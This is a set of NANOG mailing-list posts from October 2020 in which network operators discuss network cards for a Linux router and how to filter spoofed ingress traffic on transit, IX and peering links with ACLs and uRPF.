> .9_Rhod_Brown_AusNOG2019.pdf
>
> It's heavily targeting virtualised workloads but some of the feature sets
apply to bare-metal uses too.

Yeah, this wont be a virtualized environment, just a router passing packets,
dropping them, handling bgp and collecting flows.

-- 
micah

RE: Linux router network cards

[Jean St-Laurent via NANOG]

Chelsio cards are probably what you are looking for.

https://www.chelsio.com/terminator-6-asic/

It's closer to an asic than a traditional nic as the router/firewall rules
are pushed directly into the hardware.

I don't know how good they are with linux and they seem to be compatible.
https://www.chelsio.com/linux/

You will need to mess around a bit and fiddle here and there. If you don't
mind using FreeBSD instead of linux, you could achieve a smoother and more
integrated experience.

Jean

-Original Message-
From: NANOG  On Behalf Of micah
anderson
Sent: Thursday, October 22, 2020 5:31 PM
To: Philip Loenneker ; NANOG

Subject: RE: Linux router network cards


Thanks for the reply.

Philip Loenneker  writes:
> Take a look at the Mellanox ConnectX 5 series of cards. They handle 
> DPDK, PVRDMA (basically SR-IOV that allows live migration between 
> hosts), and can even process packets within the NIC for some

>From what I can tell, SR-IOV/PVRDMA aren't really useful for me in building
a router that wont be doing any virtualization.

If the card can do DPDK, can it do XDP?

> The slidedeck for the presentation is here:
> https://www.ausnog.net/sites/default/files/ausnog-2019/presentations/1
> .9_Rhod_Brown_AusNOG2019.pdf
>
> It's heavily targeting virtualised workloads but some of the feature sets
apply to bare-metal uses too.

Yeah, this wont be a virtualized environment, just a router passing packets,
dropping them, handling bgp and collecting flows.

-- 
micah

RE: Ingress filtering on transits, peers, and IX ports

[Jean St-Laurent via NANOG]

Hi Brian,

"However, I recognized a SP-specific case where we could receive legitimate 
traffic sourcing from our own IP blocks: customers running multi-homed BGP 
where we have assigned PA space to them.  So I added "permit" statements for 
traffic sourcing from these blocks."

If your customers are not using your DNS in your ip space, you could deny 
traffic sourcing from your ip block coming from these customers based on the 
UDP port DST 53. Then, accept all the rest. It's just one more line in your 
ACL. If they are using your DNS though, this won't work. You might want to add 
all the amplification ports like 123, 161, etc

Jean

-Original Message-
From: NANOG  On Behalf Of Brian 
Knight via NANOG
Sent: Wednesday, October 14, 2020 6:43 PM
To: nanog 
Subject: Re: Ingress filtering on transits, peers, and IX ports

So I have put together what I think is a reasonable and complete ACL.  
 From my time in the enterprise world, I know that a good ingress ACL filters 
out traffic sourcing from:

* Bogon blocks, like 0.0.0.0/8, 127.0.0.0/8, RFC1918 space, etc 
(well-documented in
https://team-cymru.com/community-services/bogon-reference/bogon-reference-http/)
* RIR-assigned blocks I am announcing to the rest of the world

However, I recognized a SP-specific case where we could receive legitimate 
traffic sourcing from our own IP blocks: customers running multi-homed BGP 
where we have assigned PA space to them.  So I added "permit" statements for 
traffic sourcing from these blocks.

Also, we have direct peering links that are numbered within our assigned 
prefixes.  So we can use the same ACL with these peer interfaces and continue 
to have BGP work, I added "permit" statements for these point-to-point subnets.

So the order of the statements is:

* Permit where source is direct peer PtP networks
* Permit where source is BGP customer PA prefix
* Deny where source is bogon
* Deny where source is our advertised prefixes
* Permit all other traffic

I considered BGP customer PI prefixes to be out of scope for ingress filtering, 
since the customer is likely to be multi-homing.  Should we consider filtering 
them?

The Team Cymru Secure IOS Template
[https://www.cymru.com/Documents/secure-ios-template.html] also references an 
ICMP fragment drop entry on the ingress ACL.  I think that's good for an 
enterprise network, but as an SP, I'm very hesitant to include this.  Is this 
included in anyone else's transit / peer / IX ACL?

Is there anything else that I'm not thinking of?

Thanks,

-Brian


On 2020-10-14 09:25, Brian Knight via NANOG wrote:
> Hi Marcos,
> 
> Thanks for your reply.  But I am looking for guidance on traffic 
> filtering, not BGP prefix filtering.
> 
> I have looked at BCP 84, and it's a good overview of the methods 
> available to an ISP.  My questions are more operational in nature and 
> are not covered by the document.  Of the choices presented in BCP 84, 
> what do folks really use?  If it's an ACL, what challenges have there 
> been with updates?  etc.
> 
> -Brian
> 
> 
> On 2020-10-13 18:52, Marcos Manoni wrote:
>> Hi, Brian
>> 
>> Check RFC3704/BCP84 Ingress Filtering for Multihomed Networks 
>> (Updated
>> by: RFC8704 Enhanced Feasible-Path uRPF).
>> 
>> Ingress Access Lists require typically manual maintenance, but are
>> the most bulletproof when done properly; typically, ingress access
>> lists are best fit between the edge and the ISP when the
>> configuration is not too dynamic if strict RPF is not an option,
>> between ISPs if the number of used prefixes is low, or as an
>> additional layer of protection
>> 
>> 
>> Ingress filters Best Practices
>> https://www.ripe.net/support/training/material/bgp-operations-and-sec
>> urity-training-course/BGP-Slides-Single.pdf
>> *Don’t accept BOGON ASNs
>> *Don’t accept BOGON prefixes
>> *Don’t accept your own prefix
>> *Don’t accept default (unless you requested it) *Don’t accept 
>> prefixes that are too specific *Don’t accept if AS Path is too long 
>> *Create filters based on Internet Routing Registries
>> 
>> And also BGP Best Current Practices by Philip Smith 
>> http://www.bgp4all.com.au/pfs/_media/workshops/05-bgp-bcp.pdf
>> 
>> Regards.
>> 
>> El mar., 13 oct. 2020 a las 19:52, Brian Knight via NANOG
>> () escribió:
>>> 
>>> Hi Mel,
>>> 
>>> My understanding of uRPF is:
>>> 
>>> * Strict mode will permit a packet only if there is a route for the 
>>> source IP in the RIB, and that route points to the interface where 
>>> the packet was received
>>> 
>>> * Loose mode will permit a packet if there is a route for the source 
>>> IP in the RIB.  It does not matter where the route is pointed.
>>> 
>>> Strict mode won't work for us, because with our multi-homed transits 
>>> and IX peers, we will almost certainly drop a legitimate packet 
>>> because the best route is through another transit.
>>> 
>>> Loose mode won't work for us, because all of our own prefixes are in 
>>> our RIB, and thus the uRPF check o

RE: Ingress filtering on transits, peers, and IX ports

[Jean St-Laurent via NANOG]

That’s an interesting suggestion

 

There are 2 modes for uRPF. Loose and strict.

 

Which one would you recommend in this scenario and why?

 

There are many ways to solve this and definitely uRPF is one layer of defense. 
But, probably not the best alone. I advocate a 3 layers approach.

 

I’m curious to hear/read which uRPF would you recommend for this particular 
case.

 

Thanks

Jean St-Laurent

 

 

From: NANOG  On Behalf Of Mel Beckman
Sent: Tuesday, October 13, 2020 6:22 PM
To: Brian Knight 
Cc: nanog@nanog.org
Subject: Re: Ingress filtering on transits, peers, and IX ports

 

You can also use Unicast Reverse Path Forwarding. RPF is more efficient than 
ACLs, and has the added advantage of not requiring maintenance. In a nutshell, 
if your router has a route to a prefix in its local RIB, then incoming packets 
from a border interface having a matching source IP will be dropped.

 

RPF has knobs and dials to make it work for various ISP environments. Implement 
it carefully (as is be standing next to the router involved :)

 

Here’s a Cisco brief on the topic:

 

https://tools.cisco.com/security/center/resources/unicast_reverse_path_forwarding

 

 

I think all router vendors support this feature. Here’s a similar article by 
Juniper:

 

https://www.juniper.net/documentation/en_US/junos/topics/task/configuration/interfaces-configuring-unicast-rpf.html

 


-mel beckman




On Oct 13, 2020, at 3:15 PM, Brian Knight via NANOG mailto:nanog@nanog.org> > wrote:

 

We recently received an email notice from a group of security researchers who 
are looking at the feasibility of attacks using spoofed traffic.  Their 
methodology, in broad strokes, was to send traffic to our DNS servers with a 
source IP that looked like it came from our network.  Their attacks were 
successful, and they included a summary of what they found.  So this message 
has started an internal conversation on what traffic we should be filtering and 
how.

 

This security test was not about BCP 38 for ingress traffic from our customers, 
nor was it about BGP ingress filtering.  This tested our ingress filtering from 
the rest of the Internet.

 

It seems to me like we should be filtering traffic with spoofed IPs on our 
transit, IX, and peering links.  I have done this filtering in the enterprise 
world extensively, and it's very helpful to keep out bad traffic.  BCP 84 also 
discusses ingress filtering for SP's briefly and seems to advocate for it.

 

We have about 15 IP blocks allocated to us.  With a network as small as ours, I 
chose to go with a static ACL approach to start the conversation.  I crafted a 
static ACL, blocking all ingress traffic sourced from any of our assigned IP 
ranges.  I made sure to include:

 

* Permit entries for P-t-P WAN subnets on peering links

* Permit entries for IP assignments to customers running multi-homed BGP

* The "permit ipv4 any any" at the end :)

 

The questions I wanted to ask the SP community are:

 

* What traffic filtering do you do on your transits, on IX ports, and your 
direct peering links?

* How is it accomplished?  Through static ACL or some flavor of uRPF?

* If you use static ACLs, what is the administrative overhead like?  What makes 
it easy or difficult to update?

* How did you test your filters when they were implemented?

 

Thanks a lot,

 

-Brian